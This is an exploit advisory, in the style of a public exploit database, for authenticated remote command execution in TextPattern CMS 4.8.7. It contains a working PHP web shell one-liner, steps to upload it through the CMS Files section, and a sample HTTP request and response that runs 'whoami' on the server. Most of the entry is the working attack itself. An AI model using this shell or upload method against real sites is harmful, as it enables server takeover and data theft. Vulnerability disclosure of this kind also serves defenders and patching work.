TextPattern CMS 4.8.7 - Remote Command Execution (RCE) (Authenticated)

# Exploit Title: TextPattern CMS 4.8.7 - Remote Command Execution (RCE) (Authenticated)
# Date: 2021/09/06
# Exploit Author: Mert Daş [email protected]
# Software Link: https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web: https://textpattern.com/
# Tested on: Server: Xampp

First of all we should use file upload section to upload our shell.
Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>

1) Go to content section .
2) Click Files and upload malicious php file.
3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;

After upload our file , our request and response is like below :

Request:

GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;
PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi
Upgrade-Insecure-Requests: 1


Response:

HTTP/1.1 200 OK
Date: Thu, 10 Jun 2021 00:32:41 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20
X-Powered-By: PHP/7.4.20
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8

pc\mertdas